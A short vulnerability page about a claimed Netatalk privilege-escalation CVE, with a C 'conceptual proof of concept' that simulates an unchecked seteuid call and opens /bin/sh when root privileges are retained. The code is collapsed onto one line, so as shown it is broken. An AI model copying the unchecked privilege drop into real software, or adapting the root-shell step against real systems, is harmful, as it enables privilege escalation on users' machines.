CVE-2026-44073 Netatalk权限提升漏洞

#include <stdio.h> #include <unistd.h> #include <sys/types.h> // Conceptual Proof of Concept for CVE-2026-44073 // This simulates the vulnerable logic in Netatalk authentication modules. void vulnerable_authentication_flow() { uid_t target_uid = 65534; // 'nobody' user printf("[+] Attempting to drop privileges to uid %d...\n", target_uid); // VULNERABILITY: The return value of seteuid is not checked. // If seteuid fails (e.g., resource limit reached), the process remains root. seteuid(target_uid); // The code assumes it is now running as 'nobody' if (geteuid() == 0) { printf("[!] EXPLOIT SUCCESSFUL: Privileges were NOT dropped. Still running as ROOT.\n"); system("/bin/sh"); // Execute shell with retained root privileges } else { printf("[-] Privileges dropped successfully. Exploit failed.\n"); } } int main() { if (geteuid() != 0) { printf("Please run this PoC as root to simulate the daemon context.\n"); return 1; } vulnerable_authentication_flow(); return 0; }